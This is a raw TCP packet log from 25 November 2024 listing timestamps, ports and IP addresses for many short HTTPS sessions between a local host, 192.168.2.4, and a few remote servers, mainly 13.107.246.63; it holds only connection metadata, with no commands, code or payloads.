Nov 25, 2024 05:59:21.037048101 CET	443	49838	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.094238043 CET	443	49833	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.094368935 CET	443	49833	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.094422102 CET	49833	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.094450951 CET	49833	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.094460011 CET	443	49833	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.094470978 CET	49833	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.094476938 CET	443	49833	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.096424103 CET	49839	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.096438885 CET	443	49839	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.096503973 CET	49839	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.096628904 CET	49839	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.096640110 CET	443	49839	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.649282932 CET	443	49835	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.649827957 CET	49835	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.649846077 CET	443	49835	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.650430918 CET	49835	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.650435925 CET	443	49835	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.772902012 CET	443	49838	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.773453951 CET	49838	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.773468018 CET	443	49838	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.773960114 CET	49838	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.773963928 CET	443	49838	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.795439005 CET	443	49836	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.795802116 CET	49836	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.795815945 CET	443	49836	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.796283960 CET	443	49837	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.796293020 CET	49836	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.796297073 CET	443	49836	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.796546936 CET	49837	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.796561003 CET	443	49837	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.796984911 CET	49837	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.796989918 CET	443	49837	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.882200003 CET	443	49839	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.882716894 CET	49839	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.882749081 CET	443	49839	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:22.883405924 CET	49839	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:22.883411884 CET	443	49839	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.092494011 CET	443	49835	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.092550993 CET	443	49835	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.092622995 CET	49835	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.092766047 CET	49835	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.092781067 CET	443	49835	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.092791080 CET	49835	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.092797995 CET	443	49835	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.094986916 CET	49840	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.095002890 CET	443	49840	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.095071077 CET	49840	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.095194101 CET	49840	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.095202923 CET	443	49840	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.209852934 CET	443	49838	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.209923983 CET	443	49838	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.209985018 CET	49838	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.210143089 CET	49838	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.210160017 CET	443	49838	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.210191011 CET	49838	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.210196972 CET	443	49838	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.216490030 CET	49841	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.216579914 CET	443	49841	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.216680050 CET	49841	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.216836929 CET	49841	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.216872931 CET	443	49841	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.238967896 CET	443	49836	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.239022017 CET	443	49836	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.239088058 CET	49836	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.239480019 CET	49836	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.239495993 CET	443	49836	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.239526033 CET	49836	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.239531040 CET	443	49836	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.242275953 CET	49842	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.242304087 CET	443	49842	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.242379904 CET	49842	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.242530107 CET	49842	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.242542028 CET	443	49842	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.244102955 CET	443	49837	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.244148970 CET	443	49837	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.244267941 CET	49837	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.244419098 CET	49837	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.244435072 CET	443	49837	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.244443893 CET	49837	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.244447947 CET	443	49837	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.246248960 CET	49843	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.246301889 CET	443	49843	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.246398926 CET	49843	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.246488094 CET	49843	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.246519089 CET	443	49843	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.332474947 CET	443	49839	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.332638025 CET	443	49839	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.332715034 CET	49839	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.344953060 CET	49839	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.344965935 CET	443	49839	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.345001936 CET	49839	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.345006943 CET	443	49839	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.347150087 CET	49844	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.347162962 CET	443	49844	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:23.347223997 CET	49844	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.347347021 CET	49844	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:23.347354889 CET	443	49844	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:24.938730955 CET	443	49840	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:24.939224958 CET	49840	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:24.939246893 CET	443	49840	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:24.939856052 CET	49840	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:24.939861059 CET	443	49840	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.041455030 CET	443	49842	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.041934013 CET	49842	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.041941881 CET	443	49842	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.042464018 CET	49842	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.042467117 CET	443	49842	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.093214989 CET	443	49841	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.093866110 CET	49841	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.093947887 CET	443	49841	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.094398975 CET	49841	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.094417095 CET	443	49841	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.101167917 CET	443	49843	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.101552963 CET	49843	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.101572037 CET	443	49843	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.102236032 CET	49843	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.102247000 CET	443	49843	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.132266998 CET	443	49844	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.132749081 CET	49844	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.132771015 CET	443	49844	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.133413076 CET	49844	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.133418083 CET	443	49844	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.392766953 CET	443	49840	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.392811060 CET	443	49840	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.392882109 CET	49840	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.398565054 CET	49840	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.398577929 CET	443	49840	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.398617029 CET	49840	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.398621082 CET	443	49840	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.402043104 CET	49845	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.402093887 CET	443	49845	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.402160883 CET	49845	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.402807951 CET	49845	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.402823925 CET	443	49845	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.485847950 CET	443	49842	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.485898018 CET	443	49842	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.485964060 CET	49842	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.486128092 CET	49842	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.486131907 CET	443	49842	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.486165047 CET	49842	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.486169100 CET	443	49842	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.489057064 CET	49846	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.489079952 CET	443	49846	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.489164114 CET	49846	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.489320993 CET	49846	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.489331961 CET	443	49846	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.549659014 CET	443	49841	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.549824953 CET	443	49841	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.549902916 CET	49841	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.549978018 CET	49841	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.549978971 CET	49841	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.550021887 CET	443	49841	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.550046921 CET	443	49841	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.552577019 CET	49847	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.552599907 CET	443	49847	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.552670002 CET	49847	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.552809954 CET	49847	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.552825928 CET	443	49847	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.557915926 CET	443	49843	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.558101892 CET	443	49843	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.558165073 CET	49843	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.558197021 CET	49843	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.558197021 CET	49843	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.558212996 CET	443	49843	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.558232069 CET	443	49843	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.560476065 CET	49848	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.560497046 CET	443	49848	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.560559034 CET	49848	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.560766935 CET	49848	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.560777903 CET	443	49848	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.574853897 CET	443	49844	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.574996948 CET	443	49844	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.575059891 CET	49844	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.575093031 CET	49844	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.575099945 CET	443	49844	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.575109959 CET	49844	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.575114012 CET	443	49844	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.577291012 CET	49849	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.577318907 CET	443	49849	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:25.577389956 CET	49849	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.577516079 CET	49849	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:25.577528954 CET	443	49849	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.181617022 CET	443	49845	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.184127092 CET	49845	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.184149981 CET	443	49845	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.184484005 CET	49845	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.184492111 CET	443	49845	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.263144016 CET	443	49824	142.250.181.68	192.168.2.4
Nov 25, 2024 05:59:27.263221979 CET	443	49824	142.250.181.68	192.168.2.4
Nov 25, 2024 05:59:27.263391972 CET	49824	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:59:27.268831968 CET	443	49846	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.269422054 CET	49846	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.269448996 CET	443	49846	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.269923925 CET	49846	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.269929886 CET	443	49846	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.339715004 CET	443	49847	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.340332031 CET	49847	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.340351105 CET	443	49847	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.340778112 CET	49847	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.340784073 CET	443	49847	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.382491112 CET	443	49848	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.382971048 CET	49848	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.382997990 CET	443	49848	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.383352995 CET	49848	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.383358955 CET	443	49848	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.449631929 CET	443	49849	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.450373888 CET	49849	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.450400114 CET	443	49849	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.450978041 CET	49849	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.450983047 CET	443	49849	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.627269030 CET	443	49845	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.627331018 CET	443	49845	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.627517939 CET	49845	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.627638102 CET	49845	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.627660990 CET	443	49845	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.627674103 CET	49845	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.627681971 CET	443	49845	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.630959034 CET	49850	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.630991936 CET	443	49850	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.631078005 CET	49850	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.631237030 CET	49850	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.631247044 CET	443	49850	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.651272058 CET	49824	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:59:27.651289940 CET	443	49824	142.250.181.68	192.168.2.4
Nov 25, 2024 05:59:27.720930099 CET	443	49846	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.720992088 CET	443	49846	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.721263885 CET	49846	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.721263885 CET	49846	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.721263885 CET	49846	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.723845959 CET	49851	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.723869085 CET	443	49851	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.723969936 CET	49851	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.724112034 CET	49851	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.724123955 CET	443	49851	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.782104015 CET	443	49847	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.782259941 CET	443	49847	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.782332897 CET	49847	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.782500029 CET	49847	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.782500982 CET	49847	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.782512903 CET	443	49847	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.782521963 CET	443	49847	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.784859896 CET	49852	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.784888029 CET	443	49852	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:27.784962893 CET	49852	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.785101891 CET	49852	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:27.785111904 CET	443	49852	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.024211884 CET	49846	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.024224043 CET	443	49846	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.298243999 CET	443	49849	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.298264027 CET	443	49848	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.298311949 CET	443	49849	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.298398972 CET	49849	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.298420906 CET	443	49848	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.298474073 CET	49848	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.298594952 CET	49849	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.298609018 CET	443	49849	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.298619986 CET	49848	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.298624039 CET	49849	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.298628092 CET	443	49848	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.298629045 CET	443	49849	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.298640966 CET	49848	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.298645973 CET	443	49848	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.301166058 CET	49853	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.301271915 CET	443	49853	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.301386118 CET	49853	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.301510096 CET	49854	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.301517963 CET	49853	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.301526070 CET	443	49854	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.301557064 CET	443	49853	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:28.301584959 CET	49854	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.301683903 CET	49854	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:28.301696062 CET	443	49854	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:29.771872044 CET	443	49850	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:29.772533894 CET	49850	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:29.772557020 CET	443	49850	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:29.772882938 CET	49850	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:29.772886992 CET	443	49850	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:29.957678080 CET	443	49851	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:29.958194971 CET	49851	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:29.958225012 CET	443	49851	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:29.958748102 CET	49851	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:29.958751917 CET	443	49851	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.029781103 CET	443	49852	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.030236006 CET	49852	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.030258894 CET	443	49852	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.030725002 CET	49852	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.030730009 CET	443	49852	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.151093960 CET	443	49853	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.151474953 CET	49853	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.151535988 CET	443	49853	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.151849031 CET	49853	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.151861906 CET	443	49853	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.157326937 CET	443	49854	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.157557964 CET	49854	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.157568932 CET	443	49854	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.157871008 CET	49854	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.157875061 CET	443	49854	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.213682890 CET	443	49850	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.213738918 CET	443	49850	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.213897943 CET	49850	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.213928938 CET	49850	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.213943005 CET	443	49850	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.213952065 CET	49850	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.213957071 CET	443	49850	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.216522932 CET	49855	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.216605902 CET	443	49855	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.216669083 CET	49855	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.216809988 CET	49855	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.216845036 CET	443	49855	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.405443907 CET	443	49851	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.405492067 CET	443	49851	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.405570984 CET	49851	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.405756950 CET	49851	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.405771017 CET	443	49851	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.405782938 CET	49851	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.405787945 CET	443	49851	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.408385992 CET	49856	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.408462048 CET	443	49856	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.408529997 CET	49856	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.408720970 CET	49856	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.408751965 CET	443	49856	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.483203888 CET	443	49852	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.483413935 CET	443	49852	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.483470917 CET	49852	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.483496904 CET	49852	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.483505964 CET	443	49852	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.483516932 CET	49852	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.483521938 CET	443	49852	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.485928059 CET	49857	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.485946894 CET	443	49857	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.486021042 CET	49857	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.486181021 CET	49857	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.486191034 CET	443	49857	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.605043888 CET	443	49853	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.605212927 CET	443	49853	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.605278969 CET	49853	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.605407000 CET	49853	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:30.605437040 CET	443	49853	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:30.605473995 CET	49853	443	192.168.2.4	13.107.246.63
